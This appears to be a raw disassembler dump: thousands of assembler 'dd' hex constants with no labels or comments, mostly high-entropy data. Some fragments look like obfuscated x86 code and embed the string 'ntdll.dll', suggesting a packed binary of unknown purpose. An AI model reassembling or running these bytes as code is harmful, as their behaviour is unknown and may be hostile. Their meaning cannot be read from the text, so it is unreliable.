dd 0E1129360h, 1A93BC4h, 7656B95Dh, 0B10B590Fh, 8231FD3h
dd 0FFFFFCD2h, 0A1855991h, 40F61FD3h, 9A10D44Bh, 5D35D567h
dd 9B1FD3A1h, 4B5FC21Ch, 8B43DB6h, 1FD3A130h, 31218DC3h
dd 5F335DA1h, 5C2097BBh, 0D83FB649h, 1F9C2E5Bh, 95B9465Fh
dd 898358F9h, 8559D8D9h, 3EA6E3B6h, 3D6A2A4Dh, 3D059EC2h
dd 92000002h, 0D3A18459h, 7840F71Fh, 0D3A1F4CCh, 6B96101Fh
dd 64587E32h, 0DB62F4B8h, 0CA53CC70h, 0BBF83F94h, 84A82948h
dd 0F0AF2FE8h, 9710C415h, 0AF8A620Eh, 691D25F2h, 0AF6C44F0h
dd 4BFF25F2h, 0BEECB027h, 7434B143h, 9139CB36h, 17E8BD6Dh
dd 60480885h, 0D8CD7DA1h, 0D1758A1Bh, 2E4FE83Fh, 68E1857Ch
dd 0DE02FDA8h, 9E74B965h, 0ABE11C0Fh, 8E47508Bh, 91CAEE17h
dd 6D3376DDh, 0BC52FA16h, 0E7B9Dh, 0A1604C00h, 0C03F662Ah
dd 0DC258549h, 0F708A165h, 17EABC80h, 939A54A0h, 0B377EE13h
dd 0D4980F00h, 0F2B62DD4h, 0AD34AB5h, 7A0DE591h, 68A019AEh
dd 9D6245F5h, 3983B40Bh, 0D3A1B58Dh, 0F094481Fh, 0BC27CB77h
dd 1ED215F6h, 3CC5E5A5h, 58A901C5h, 6A9512C6h, 0D3B681D8h
dd 0F40B9A5Ah, 9F0ABA62h, 226CE60h, 0CB770089h, 25F8BCF3h
dd 12AED286h, 1C15C62Dh, 0D4BF26DAh, 91FA6C51h, 0DFADCFBh
dd 0E1CB0000h, 0C0E5A920h, 0A604C83Fh, 8920E45Bh, 6B3BFF76h
dd 19D31F96h, 0F86F9214h, 19907F34h, 37AE5355h, 54CB3473h
dd 8E66128Bh, 2119AE78h, 624576E9h, 83B40B9Dh, 94E9950Eh
dd 0E115F0B0h, 3C6B8821h, 0E58D1FC3h, 5BD488C1h, 64F60B9Bh
dd 4051A43Ah, 0E3874D65h, 238448BFh, 8327DAD0h, 0A35E4A0Ah
dd 96A1087Fh, 63CE7AF3h, 0E01C1690h, 6A2AB32Ch, 8830C23Dh
dd 189014ECh, 0CFF3A72Ch, 6B149656h, 0F21FFE23h, 46B9EEE4h
dd 0C4680CB4h, 0E021894Dh, 0F20D9A4Eh, 0AE5AE360h, 2C17C9D6h
dd 3E91B569h, 0B39012F9h, 93969D1Ch, 0B55DEF20h, 48F46D11h
dd 22355363h, 80F55C10h, 0BDE44BC4h, 0D360827h, 0A5070000h
dd 8421E55Ch, 6A40047Bh, 4D5C2097h, 2F773BB2h, 550F5BD2h
dd 34AB5650h, 55CC4370h, 73EA1791h, 9007F8AFh, 0CAA24EC7h
dd 5D19AE77h
dd 6245B225h, 83B40B9Dh, 0D985A502h, 1FD3A201h, 983CE094h
dd 0AFCE731Fh, 457B15F0h, 0A9E7900Bh, 79F4F68h, 1BDF56FAh
dd 7F8DF38Ah, 0FC8F80C9h, 9454E158h, 1CCCF01Fh, 0C34C678Eh
dd 6CE58931h, 7204FBACh, 0B82FA6CAh, 870095A2h, 0FA1EE3C7h
dd 0BAE8D581h, 0B16515F0h, 0BAAB7F1Fh, 921125F2h, 5BAAEF4Ch
dd 70430974h, 0D0000000h, 0D9F6045h, 3AB34C59h, 8973E904h
dd 0C7E2840Eh, 5AFEA638h, 0B9F0A436h, 0A500B446h, 0BB7CE35Ah
dd 0A8B15DD6h, 1D15EFEBh, 0FDC50269h, 2AC0F036h, 0C670Bh
dd 8D743800h, 0AC535216h, 0C8397135h, 0E31C8D51h, 3FEA86Ch
dd 7F86408Ch, 9F63DA27h, 0C084FB14h, 0DEA219E8h, 0F6BF36C9h
dd 76F9D17Dh, 548C19AEh, 9F6045E1h, 58F928h, 45820000h
dd 0F0269F60h, 8BDAEB9Eh, 3A792983h, 0C81FB1D5h, 0F5A11A6Fh
dd 15EFFDB0h, 7F42A95Dh, 0F6F036EFh, 0C064160h, 0D5D70000h
dd 0B4F1B52Ch, 9A10D44Bh, 7D2CF067h, 5F470B82h, 25DF2BA2h
dd 47B8620h, 259C7340h, 43BA4761h, 60D7287Fh, 9A721E97h
dd 2D19AE76h, 624582F5h, 43E71891h, 55AAFDB1h, 0D70792C3h
dd 94B81564h, 286B8F0h, 0EB450000h, 9FE39BDh, 0FDA0B9DAh
dd 644FFFB8h, 0E28E07ABh, 15EF8829h, 8910ABEh, 0C8FBD37Fh
dd 0DA8E25F1h, 0F1C8663Eh, 2145F925h, 32BBEE8Eh, 92E1169h
dd 125F0B84h, 8F0FA65Dh, 45F249DBh, 8E17D750h, 7D2BDF71h
dd 0A64AF284h, 2E52BDF6h, 3B6C2CB5h, 0A104A0C4h, 0E15CAD6h
dd 0D3CA47D8h, 0FD218693h, 0A7A78EC4h, 0E3A4D523h, 0A106C63Fh
dd 8423E75Eh, 8043147Bh, 28BEF3DFh, 0B3F09h, 659C1000h
dd 847B2AEEh, 0A061490Dh, 0BB446529h, 0DB268044h, 575E1864h
dd 773BB24Fh, 985CD33Ch, 0B67AF110h, 0CE970EF1h, 75D1A955h
dd 2C6419AEh, 9F6045B9h, 0BE416626h, 40649B0Eh, 66FB31AEh
dd 0CC9404F8h, 48EF4266h, 7320CC45h, 0F015F5CAh, 0DC8C8330h
dd 1A9337CAh, 0FEAA595Ah, 25C97103h, 0C4C9EAAEh, 0C18D5BEDh
dd 0A61FC320h, 0BB99711Dh, 782C25F7h, 38053C52h, 7CA01A5Ah
dd 0F1A493EAh, 0CA53CC78h, 34E81C14h, 4BB8FBBBh, 6810A25Fh
dd 0C96B43EFh, 4AFE2C16h, 69F72DA6h, 70CEED17h, 11E9950Eh
dd 0A42C1766h, 9155CCF0h, 0A75BED22h, 4DB2F300h, 63F50A9Dh
dd 0F5B017BBh, 50FA6BB6h, 0A7A9BBAh, 614B0000h, 406529A0h
dd 268448BFh, 9A064DBh, 0EBBB7FF6h, 99539F16h, 78EF1294h
dd 9910FFB4h, 0B72ED3D5h, 0D44BB4F3h, 0EE6920Bh, 0A119AE76h
dd 23C3F669h, 1FD3A143h, 38CA376Fh, 49DB2684h, 0CA637B0Ah
dd 4E21BD3Ch, 0D44D40F7h, 0F0A5AF28h, 0AF0E4415h, 5EB72BF5h
dd 6A3AEC33h, 7E22B8A4h, 4A161DAh, 9E5ED7FBh, 0F17EF50Ch
dd 2A807531h, 0F99D45D7h, 0BB582D5h, 0F2A5875Fh, 0FD02A325h
dd 0D68AC36Bh, 120DB932h, 6F1C140Eh, 0E8651239h, 0BDE19EDBh
dd 0CE57D084h, 13C14A22h, 0B029DD2Ch, 13C22C04h, 0E70BBF2Ch
dd 6F9AE6Eh, 23DCCB8Fh, 685797BCh, 9DBC52FAh, 9C0h, 6FE61B91h
dd 8E05FAABh, 0AA21E0CAh, 0C53CC3E6h, 0E55CA501h, 0D0D6DF99h
dd 0BDF6BA31h, 9117DB52h, 7235F970h, 0D44D168Dh, 0AE745028h
dd 38ABE319h, 0E85467Ch, 9E045E71h, 4A0ADE7Ah, 891E1FD3h
dd 9F98FF76h, 0B35FCBDEh, 1FD349DBh, 7216BA6Eh, 387EC3F9h
dd 2B25FDA9h, 4B81FD3h, 0DAAEFDEh, 27E770E9h, 49F1838Ch
dd 0DC458925h, 3CF015F0h, 5CA503C3h, 0C92BADE3h, 56CF7A7h
dd 2A66AE1h, 394E6DFFh, 0D7000009h, 870095A2h, 0F0BF22DBh
dd 7103B715h, 0F2BEFDD1h, 0FAE46325h, 5129D55Eh, 0E425F2BEh
dd 0D97D8424h, 5F5A1FB5h, 0AC730974h, 1, 6F47F37Ch, 21FD3A1h
dd 2E7A2A4Eh, 8EC441D3h, 64E4CB60h, 0B27096A0h, 0A862B698h
dd 0FA45478h, 0EDBA6E00h, 0CFD99912h, 0C87C0E32h, 1DAA21E0h
dd 0F10E894h, 6DA31FD3h, 88E52365h, 64882CA5h, 0B201F4B4h
dd 0D027B95Dh, 25AE2764h, 0FBAF4465h, 0A23E6206h, 1FD33912h
dd 0BD4FE195h, 2781A03Eh, 99F63DAh, 0FAC666F8h, 201FD339h
dd 966E1AA3h, 291FD339h, 8D65175h, 0FB728F19h, 72EBA094h
dd 0E80CF3B2h, 8226E66Fh, 38CA3773h, 0B25AEC90h, 3A12F28Eh
dd 2CB51FD3h, 0D339A880h, 387B3B1Fh, 0FD8F33D7h, 2CA56A49h
dd 3AC7E3A3h, 8C6400A8h, 1F1FD339h, 13B7485Fh, 0FFB478EFh
dd 0CD5FA204h, 3BEF8125h, 6F01936Ch, 8033EEF0h, 39360EBAh
dd 15C91FD3h, 0D6C2F871h, 197A29Dh, 460A81A5h, 0EE11966Dh
dd 53BB84Ah, 5FFBD27Fh, 26799DD0h, 57037C11h, 15EFD5EAh
dd 43AB367h, 1088A9E8h, 4FC6EA28h, 5BA602C2h, 0C8A04CC9h
dd 5B25F217h, 2FDF03A7h, 320AB684h, 0C525F217h, 34F46D11h
dd 54FC8E71h, 0ED479E30h, 9F7B27A0h, 3A25F217h, 0E362F486h
dd 768D26FBh, 0B029CD34h, 0BE436727h, 0F2174A22h, 529DD25h
dd 26E9CA8Eh, 15FA3D94h, 0A3579DDBh, 1C953989h, 0F99EB70h
dd 0D90F981Ch, 0CED2F148h, 5830CC30h, 0FE2C1131h, 89C42D8h
dd 0BBF12A86h, 0ECDEA000h, 0B6660AE9h, 0D37B0DF4h, 0BFF4B82Fh
dd 561FADCEh, 1182D2AAh, 8BB1652Ch, 9ADE5AFh, 0BACF0592h
dd 0D249C089h, 0BE5A32DEh, 39ED2C10h, 0E7C17195h, 0A22CA31Ah
dd 0FE870095h, 0A1F1C975h, 0D0841FD3h, 0A7DB10ACh, 0DF6815F0h
dd 0DC78891Fh, 25F2A704h, 0AD3FE397h, 0DA53ACF9h, 698CC9A4h
dd 385CC3A0h, 0F37C4AC1h, 0D3A16F47h, 2A4E021Fh, 0B8315CD7h
dd 0A1AB832Fh, 8A3E1FD3h, 2157D466h, 9C3387B7h, 1CB8DCC1h
dd 1FD31448h, 0EEFB31AEh, 5EB102F6h, 40FE24CCh, 782A66Ah
dd 0F2C181D7h, 0C5699611h, 78C8A04Ch, 0A75B1FD3h, 95ACED83h
dd 2741F094h, 0B8000000h, 84AB832Fh, 8A3E1FD3h, 60450366h
dd 956D0D9Fh, 0D31FD3A1h, 0E978A54h, 36CA7AF1h, 561FD383h
dd 0FFFF893Bh, 0BC7CC4FFh, 0BF9743F7h, 521FD3A1h, 0C068FA9Eh
dd 0D4669910h, 4F58082Ch, 0E90137B0h, 0CD7691C4h, 7CEF5276h
dd 0F115ECBCh, 467CF85Fh, 9AD11925h, 0B2E1A02Fh, 0C844E50Bh
dd 7B53FF78h, 0E1FD312h, 50E3365Ah, 7B3BC43Dh, 5D35D12Eh
dd 0F01FD312h, 7CB5183Ch, 8214EBBCh, 0C83FB6DAh, 94B06A5Fh
dd 0AE5AE3F3h, 22D3A1D6h, 0F891B569h, 56h, 0FC91A285h
dd 33F37C99h, 51F98B74h, 66F809A1h, 26FE9ABEh, 0B91FD3A2h
dd 0F37CA205h, 0D3A16F47h, 2A4E021Fh, 60453EB1h, 0F9763C9Fh
dd 3E05B0C3h, 94409BD7h, 1FD2BEBCh, 0D3F79B4Fh, 0EABC7C70h
dd 82ACF095h, 7C2073D2h, 8E7136EAh, 8CB054FCh, 4071h, 91A2FA00h
dd 0F37C99FCh, 0D3A16F47h, 2A4E021Fh, 0A22D05B1h, 0B8F21FD3h
dd 26D21355h, 1FD3F74Eh, 4D072DE1h, 8632AB0Ch, 1FD492AEh
dd 70E98D41h, 1AEA5E3Ah, 0F115F717h, 45097C8Eh, 763C9F60h
dd 9C65450Fh, 0B9466323h, 8B630395h, 0A71FD3A1h, 0B76BFD02h
dd 0EA7C0EF3h, 2CBA736Bh, 0BAF031ADh, 3A20D047h, 421FD3AFh
dd 629F09C9h, 0F29B233Eh, 0D696FFFFh, 0A70A2ED1h, 289F6045h
dd 923E76C1h, 1FD3A1BAh, 7CF5994Dh, 0F0B107D0h, 4FC87C15h
dd 0D688D19h, 80A691A6h, 0E4283140h, 60F216F2h, 0F2DDECC0h
dd 0BD35225h, 747C6930h, 0E8409h, 3BFB0000h, 5D059778h
dd 1DAD639h, 63000000h, 14EBBC7Ch, 6CC55882h, 0C16E3355h
dd 91A6F91Dh, 3AFA83FCh, 0C4E4946Bh, 0DF03AB3Dh, 0F087FA43h
dd 386F2F15h, 698D35C7h, 36EA7C30h, 7885BB6Fh
dd 69A4FA84h, 54CEA642h, 0AD6125F2h, 0D6D09009h, 6161D9A9h
dd 1A52407h, 16EBBB6Fh, 1BE6C272h, 0BDF380F7h, 40B1C331h
dd 0CADC8C15h, 0D9FDA537h, 0F279B03Dh, 0FF2B625h, 21D4D498h
dd 0C43B6E87h, 42E68A32h, 0BC9440C9h, 4F25F279h, 0D7E5779Bh
dd 19D9565Ah, 3AE2748Dh, 0DE439B16h, 0FCC037CAh, 32E654ABh
dd 0E41C8A75h, 0FBAC7569h, 2B51B0F8h, 2A3C14BEh, 11A448D5h
dd 0B01A5FAAh, 0D1B3F114h, 40000000h, 9AFD92A2h, 18F7BC7Ch
dd 0FACF7BF4h, 0B91FD3A1h, 97C9E01h, 4506607Ah, 633A9D62h
dd 0EABC7CFCh, 93A0F317h, 77E93F6h, 12EDBC7Ch, 1EB4D880h
dd 0F394B02Bh, 4482h, 91A20F00h, 0F37C99FCh, 0D3A16F47h
dd 2A4E021Fh, 0A22D05B1h, 0F7801FD3h, 0D3A2734Bh, 6246061Fh
dd 0C1650D9Fh, 4DB0649Dh, 6045097Ch, 5BED1293h, 76AC0FB3h
dd 58DA0Fh, 0C44D0000h, 0D3A14018h, 0FB1FD31Fh, 0FC91A298h
dd 0BDF37C99h, 0DC07E36Bh, 7F659A4Bh, 67D25D83h, 4A7951FDh
dd 580C1FD3h, 1CF490B4h, 6F1FD34Bh, 7608F9AFh, 4A754DF9h
dd 54081FD3h, 87C68AB0h, 7CF242h, 0A41DD5DCh, 5F976F1Bh
dd 762A1FD3h, 97CEF52h, 3C9F6045h, 26DA0F76h, 63FFFFFFh
dd 249D6245h, 39E54564h, 1FD3A161h, 239C40F4h, 0D3A19F77h
dd 5A7E321Fh, 6C9314C8h, 0E4A98EF5h, 0AD59E26Bh, 1FD3A1D5h
dd 0F490B468h, 15F0A9DFh, 3FEAC6Ch, 592DCD5Fh, 6D25F2A8h
dd 7E32C43Dh, 7F28D827h, 6B3AEE80h, 1F5A0294h, 81DF4E90h
dd 1A5FDC02h, 0B3097441h, 48h, 0C33E6A2Ah, 0BC7C3C9Fh
dd 9DF014EBh, 0ACD0759Ah, 6F3941A2h, 1A652CBh, 0AE15F001h
dd 2BEB68FAh, 49F1837Ch, 0D1F51A99h, 0F2406135h, 9648C725h
dd 75DDD4A5h, 0D0901909h, 0B58D29D8h, 4825F24Ch, 0D9D77094h
dd 64000000h, 0B9D6245h, 20B24F57h, 32C43B6Ch, 5FD6297Eh
dd 0D3A60FAFh, 936C3B1Fh, 0B04F581Ch, 0C62F7737h, 597D21E0h
dd 1D8A4AC7h, 84A850E2h, 0A830631h, 0F0BA355Eh, 7FF6AA15h
dd 34E069F2h, 25F2B85Ch, 0C79F3BEFh, 5A25F2B8h, 0A9812DA6h
dd 3C25F2B8h, 26116488h, 2B61EA63h, 97644DE6h, 6501255Ah
dd 1C14ED8Ah, 0A46CB1E7h, 81A07BEEh, 0F770245Dh, 7FAAE6Eh
dd 8E7333E3h, 991ADF15h, 175F1520h, 0EEB87CF3h, 0E88DAC13h
dd 0A238FA69h, 27F83h, 0A55C5000h, 0C43B6A2Eh, 0E021894Dh
dd 0FB04A569h, 1BE6C084h, 979E58A4h, 0B77BF20Fh, 0D89C13FCh
dd 0F6BA31D0h, 0ED74EB1h, 6E11E995h, 6CA419AEh, 1E6145F9h
dd 0F5AB0B0Fh, 0D84FF3DDh, 0F56C9314h, 100A868h, 40A3C76Fh
dd 0B5F495A2h, 812DA64Ah, 15F080DCh, 0A343D589h, 25F2C0CFh
dd 832FB835h, 25F2C0ABh, 0EB668A3Eh, 5D7148F3h, 0F19C0974h
dd 29000000h, 0B9D6245h, 20B24F57h, 0D3A5E080h, 8F9B0C1Fh
dd 0D3A60BE3h, 46EA9E1Fh, 238242CFh, 29A24ADCh, 0D3A5A57Dh
dd 6084381Fh, 7608F7B0h, 0FC75181Fh, 0FDF6B373h, 1CC456ABh
dd 1A3EE678h, 0F0BA557Eh, 9F16CA15h, 118AFF38h, 14272565h
dd 2992C81Ch, 2F86A5B9h, 0D99912B6h, 981135DAh, 0BA33CED8h
dd 13B66784h, 4DD7645Bh, 43254BE0h, 0D64D71DBh, 66D9412h
dd 0FA6813CDh, 8DD3F288h, 5E000001h, 783CB34Eh, 975BD22Dh
dd 0B377EE13h, 0CE9209F6h, 66B229D8h, 4FDA9ACh, 25EAC98Dh
dd 43BEEAAEh, 609F08CCh, 0FBA720E9h, 19AE6D23h, 450B7EB6h
dd 471FCB61h, 0ED1FD3A1h, 0A85EAC1Ch, 55154E18h, 910AAE53h
dd 0D3040DE5h, 48ECA01Fh, 0FBB44D1h, 1FD30337h, 42F216CAh
dd 8CEF1865h, 0A93BC4E1h, 0EB74DB01h, 0D81BF39Fh, 0FAAE1FD2h
dd 0C43BB256h, 17EABC7Ch, 79705B85h, 0B7F231EEh, 683FEF13h
dd 6EE7288Bh, 0D2DEEAC2h, 25C97D1Fh, 5D561693h, 0C9DE8EB2h
dd 0DF58BF36h, 0C8531AAh, 0A115EFE3h, 0F3B474EDh, 0D6D1950Ch
dd 0F7409729h, 3DE12086h, 0FA3318C4h, 2CE01C14h, 6B2E40C5h
dd 88A73DFAh, 0C8h, 77EE1399h, 960DF2B3h, 0B229D8D2h, 0CD44BBEEh
dd 0ED649D09h, 0C8DEE7A1h, 0B5FEC239h, 891FE35Ah, 6A3D0178h
dd 0DC551E95h, 0AE6B5830h, 40B3EB19h, 6F47F37Ch, 21FD3A1h
dd 60D72A4Eh, 0F52BB42Dh, 7B20FA52h, 0D4D181F2h, 0CDF1992Bh
dd 0F5F8B431h, 0B9D5115h, 36AF5057h, 0F82901ADh, 624525F7h
dd 8CB0649Dh, 0A9565115h, 7FEC7717h, 0D9C29F6h, 0A85750D1h
dd 0C53A6D31h, 0D52A7F33h, 7434B143h, 1BE6C033h, 0AB3DE189h
dd 0AF605303h, 8ACE108Bh, 0A34FDBCAh, 41F87FCBh, 0E206AA5Eh
dd 138A7532h, 2EA7584Fh, 8021F9A5h, 0C87441F8h, 41F87FF0h
dd 0E296CF83h, 0F6887732h, 79982A4Eh, 8, 0EDBC7C02h, 39A0EE12h
dd 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h, 58EA178Fh
dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh, 58786886h
dd 14890000h, 81E28924h, 4C2h, 4EA8300h, 5C241487h, 162C68h
dd 24348900h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
dd 0B850240Ch, 51D8091Eh, 8158C689h, 0FD122EF6h, 5D806857h
dd 24890000h, 24048124h, 4, 8BA5259h, 1000000h, 8B3289CAh
dd 0C4812414h, 4, 592434FFh, 8B04C483h, 89512434h, 4C181E1h
dd 83000000h, 0C8704C1h, 63E95C24h, 7BFFFA45h, 0E8ACA4D3h
dd 0B84E84E9h, 6253799h, 0C650C503h, 1F202585h, 25684706h
dd 0FFCF3817h, 1F20D9B5h, 4D858D06h, 0FF061F39h, 8DD88BD0h
dd 1F036585h, 4685006h, 0FF000001h, 2585C6D3h, 53061F20h
dd 7F8BF68h, 0D9B5FF83h, 8D061F20h, 1F394D85h, 89D0FF06h
dd 25191185h, 0F1BD8306h, 61F20h, 0B840Fh, 9D8B0000h, 61F2101h
dd 5E9h, 0BB00h, 680000h, 8D000001h, 251915B5h, 0FF535606h
dd 1F002195h, 15B58D06h, 3062519h, 1E9F0h, 804E0000h, 840F5C3Eh
dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 1915858Dh, 0FF500625h
dd 25191195h, 0E0FF5806h, 318F9338h, 7EB12ECFh, 3DE25C1Ah
dd 13E8h, 5939FB00h, 75E2D203h, 0FA23D5F9h, 80491A83h
dd 24384504h, 28896BBh, 0C0815802h, 6522h, 6F1BC681h, 0B6867ABh
dd 66000019h, 5A9BE1BBh, 88BFE8Bh, 14E9h, 2AD32100h, 2A074A83h
dd 0BE09ABAFh, 0EE917488h, 45236EF5h, 46E9816Dh, 51715DF8h
dd 7E8h, 0FA95C00h, 17321BFh, 815F5BF8h, 2087CCF1h, 13E945h
dd 0A33B0000h, 20698E36h, 11A38CC1h, 487115B1h, 0EB8C09B9h
dd 0C1C1819Dh, 0F78BCDCh, 889D9B7h, 8153F860h, 672471D2h
dd 81615A5Dh, 0C4928DE8h, 0CF81572Ah, 23FE98E3h, 89C0815Bh
dd 0F2AC492h, 584h, 8505BF00h, 0EA836BA4h, 0F850F01h, 66000000h
dd 34E9F38Bh, 5D000000h, 628DB270h, 7E889C7h, 16000000h
dd 4E53849Ch, 0E9527385h, 0Eh, 97871FB7h, 248B9729h, 0A2782235h
dd 5E5E9F2Ch, 0FFFF3DE9h, 15E0DFFh, 0E8121568h, 0Bh, 3CCA78FAh
dd 0F0C6E29Dh, 57796477h, 0D73DBA60h, 8E0F3B69h, 0
dd 0F5B5F61h, 82h, 58C38100h, 56000060h, 137ECBBEh, 0C02B5924h
dd 0AA3CBF66h, 8B03148Bh, 0CEEA81F8h, 0F034C3Fh, 189h
dd 0F281F900h, 2941A043h, 0C810Fh, 8D0F0000h, 6, 850Fh
dd 0EA810000h, 6A0794B6h, 0CE8h, 8C0C4600h, 375F7F3Ch
dd 0BEA9EDD4h, 14895E28h, 66F86003h, 0BF61CE8Bh, 35E8D0h
dd 6602E883h, 508CD681h, 0DDBF4848h, 810B1709h, 0FFA060F8h
dd 0F850FFFh, 0E9000000h, 18h, 0F859EC6Ah, 0FC12B395h
dd 0F78B2A5Fh, 0FFFF7FE9h, 334170FFh, 58753B48h, 14E8h
dd 1C4D4400h, 0DA477B9Ah, 9D5E314Bh, 3EDF125Ch, 7E7AED37h
dd 7AD6819Ch, 5F0EB4DAh, 37C82BBh, 0AC78115h, 5000005Dh
dd 7A7B95Bh, 0E981490Bh, 490AF089h, 0CE9h, 0A1F4C700h
dd 23A1ADE4h, 5607C66h, 6637FF64h, 0E8FBD381h, 7171BA58h
dd 0C081005Bh, 643DB720h, 0C08105B2h, 5469C158h, 0C584C081h
dd 0EF803FDEh, 570789EEh, 0FE9h, 4FBCBB00h, 207635C0h
dd 4650FD94h, 46196DC7h, 4EF835Eh, 49F2B70Fh, 0FFB7850Fh
dd 6660FFFFh, 80AF4CB8h, 0EB6199E0h, 0B61B9026h, 8EAFEC33h
dd 64746E55h, 642E6C6Ch, 88006C6Ch, 34074621h, 57A3D25Dh
dd 7D26FEh, 0
dd 0E9000000h, 6EAh, 253CEE68h, 4208E906h, 0BE68FFFAh
dd 0E906253Dh, 0FFFA41FEh, 253E5B68h, 41F4E906h, 2A68FFFAh
dd 0E906253Fh, 0FFFA41EAh, 25400E68h, 41E0E906h, 0DC68FFFAh
dd 0E9062540h, 0FFFA41D6h, 77EE1399h, 960DF2B3h, 0B229D8D2h
dd 0CD44BBEEh, 0ED649D09h, 0C8DEE7A1h, 0B5FEC239h, 891FE35Ah
dd 6A3D0178h, 0DC551E95h, 0AE665830h, 40B3EB19h, 43DAh
dd 62456300h, 6117C51Bh, 38B1760Bh, 0D369B48Ch, 0EF93471Fh
dd 0F5FEA95Dh, 32AB4FB0h, 6A25FDA9h, 4B81FD3h, 0E5B969E0h
dd 0F91FD369h, 50D952AFh, 57E4DB1Ah, 710DC28Fh, 1FD2F799h
dd 0D60FF0B5h, 1087FE22h, 727E95A2h, 71C8F630h, 11E9950Eh
dd 0A41FD371h, 27D34CF0h, 15F05C46h, 88BE37EBh, 3D0A536Eh
dd 85173BA1h, 0F20C11E5h, 0E6F87725h, 752A0455h, 262A909h
dd 0EB360000h, 0B0E55282h, 7925AE37h, 1FD3A1A1h, 0C05C8034h
dd 15F08207h, 4F27D35Ch, 0E225F2C1h, 0E6788722h, 3D769A3Eh
dd 5156F689h, 0E461FF29h, 19C53E53h, 0E03E5538h, 409729DDh
dd 3911BDF7h, 0CCF04095h, 72FB7418h, 8834F8B2h, 0F04095B0h
dd 0C7EB8F43h, 62CFC82Bh, 33FF35E6h, 598737B6h, 0C478B1D5h
dd 0A402C24Bh, 0FF23CB5Dh, 189B584Fh, 19BD65F7h, 37CAE0A0h
dd 0CFD89C13h, 0FAA68624h, 0F6633D22h, 0CB5D01B5h, 0C3187F23h
dd 4620A7CCh, 4A791B0h, 55570000h, 347135ACh, 1A9054CBh
dd 0FDAC70E7h, 0DFC78B02h, 0A55FAB22h, 84FB06A0h, 0A51CF3C0h
dd 0C33AC7E1h, 0E057A8FFh, 1AF29E17h, 0AD19AE66h, 62450275h
dd 83B40B9Dh, 38E9950Eh, 0BD15F0B0h, 0F9749209h, 0A41D70C7h
dd 0F913FF8h, 8D20D41Ch, 0AF4CC2EDh, 0CA76FFACh, 0C4AF8BF2h
dd 8BC19945h, 0A054C4AFh, 3C8FB367h, 941D96FBh, 8B875F0Bh
dd 661AC4AFh, 8B6941EDh, 48FCC4AFh, 77A78824h, 984CBACCh
dd 0B54A5F1Fh, 0C53A6F23h, 146BFD21h, 0E5456223h, 0CEB76139h
dd 9C40F4CAh, 0E95B6D76h, 11B51307h, 7A89EC98h, 8236C0F1h
dd 955E4909h, 0D34CF011h, 0E41B8A4Ah, 360EAA52h, 0C9D0F1B9h
dd 0B67AF115h, 4AA70EF1h, 0CB473641h, 3D71635h, 25870000h
dd 4A165DCh, 0EAC084FBh, 0CDDCA017h, 0AFF7BB32h, 0D58FDB52h
dd 0B42BD6D0h, 0D54CC3F0h, 0F36A9711h, 1087782Fh, 4A22CE47h
dd 0DD19AE64h, 624532A5h, 588E0B9Dh, 4BBCA1BCh, 3285A9BAh
dd 6B179005h, 15EFB9CEh, 0D940B76Bh, 29B22B5Eh, 0F1B9A57Dh
dd 60843825h, 0B49A3BE7h, 8B3F1C14h, 0D5FCDC12h, 9A34587Ch
dd 6A3DFD76h, 3EE21F89h, 5DA205C5h, 0A9FEC239h, 0CA6DC456h
dd 99A24EC7h, 0CE223411h, 7FA7FB98h, 1E8CF150h, 5A951E3h
dd 8DF4A8E1h, 0E44A141Ah, 3AF211A7h, 0EA000003h, 4C83FC2h
dd 23E75EA1h, 3F037A87h, 5A1E956Ah, 0F23EB54Ch, 90713538h
dd 0B15E5519h, 0CF32763Ah, 0EC139458h, 8733AC75h, 19AE63AFh
dd 45970A42h, 9B249D62h, 0D3A217EFh, 0D2F6AA1Fh, 3B4EE940h
dd 0B58D39C2h, 481FD3A1h, 4BF77094h, 15F0B232h, 0F9C13C7h
dd 15A7584Fh, 0B32E496Dh, 0B7000001h, 0E25599EBh, 0D18A36AFh
dd 6615F081h, 0E2A21FB2h, 3AB3DC4h, 78AF43DFh, 17200B0Dh
dd 0E6C3F972h, 3E5F94B9h, 6038E45Dh, 0F31B3022h, 19A21B3Fh
dd 230CE490h, 0EB9F1B30h, 15A62BC7h, 9F53114Dh, 0C81B60Dh
dd 8F84E793h, 7D311771h, 9F624404h, 0C841650Dh, 0E9609F08h
dd 0F20D9C5Ch, 0E494B860h, 68D53CC3h, 0E5F1B67Ah, 26B304Fh
dd 911B0000h, 7035F970h, 5654188Fh, 397034ABh, 1B8B4FC6h
dd 69236FE6h, 48BF4264h, 69E02F84h, 87FE03A5h, 0A41BE4C3h
dd 0DEB662DBh, 7119AE62h, 0F37CC639h, 0D3A16F47h, 0E61B8B1Fh
dd 0B373AC54h, 45690DF2h, 58181295h, 751DAF52h, 0D3A201D9h
dd 3CE0941Fh, 3D6D2DAAh, 0EA4DA0C4h, 0D1822EA7h, 5615F0AFh
dd 0DE9E2BA2h, 74E4B2CBh, 0AC002E70h, 0B45B5808h, 4C567A22h
dd 1184B335h, 34D90F98h, 71814638h, 7E37D3F7h, 131C1044h
dd 352CCC5Fh, 0B0BA742Dh, 890287h, 2D9E31CAh, 2CDC5798h
dd 0C8648887h, 0B1116E43h, 0F6E0BAF0h, 0C60B247Ch, 0FE399022h
dd 366128Bh, 0B0B736A9h, 0E4C383FCh, 0C468990Fh, 8B37C04Dh
dd 0C736E7B3h, 0BE6E9246h, 0BD9541E9h, 50C736E7h, 3291F89Ch
dd 97514B13h, 187E201h, 75370000h, 5451158Ch, 3A7034ABh
dd 1D8C50C7h, 0FFA76BE2h, 853F8B02h, 64DB2680h, 85FC13A0h
dd 0A31AE7C1h, 0C037C8DFh, 0FAD27EF7h, 8D19AE61h, 0F37CE255h
dd 0A1E6BE6Ah, 0C5791FD3h, 0D3A15129h, 0C30E41Fh, 22B44B5Ch
dd 98701CA5h, 2B1FD3A1h, 1FC33C6Bh, 0FA8FA8FBh, 0B538D581h
dd 21D515F0h, 95A233AAh, 74DB8700h, 0E915F69Eh, 0DDDCB460h
dd 0BB6F25F8h, 20899295h, 4BEF86CDh, 6A9512D2h, 0DA666F3h
dd 0BE50AFF6h, 9E4E7216h, 0D64F609h, 42EE672Ah, 1C1BB4A9h
dd 0F1C975FEh, 842C1DF4h, 0BF73ACD0h, 0E01F8646h, 248343BCh
dd 7A064DBh, 280F66F8h, 8B40EC65h, 0D8223AD3h, 0DD6F9218h
dd 24D81135h, 4127CCBDh, 423B9E4h, 0B9h, 47BE4369h, 66DD2283h
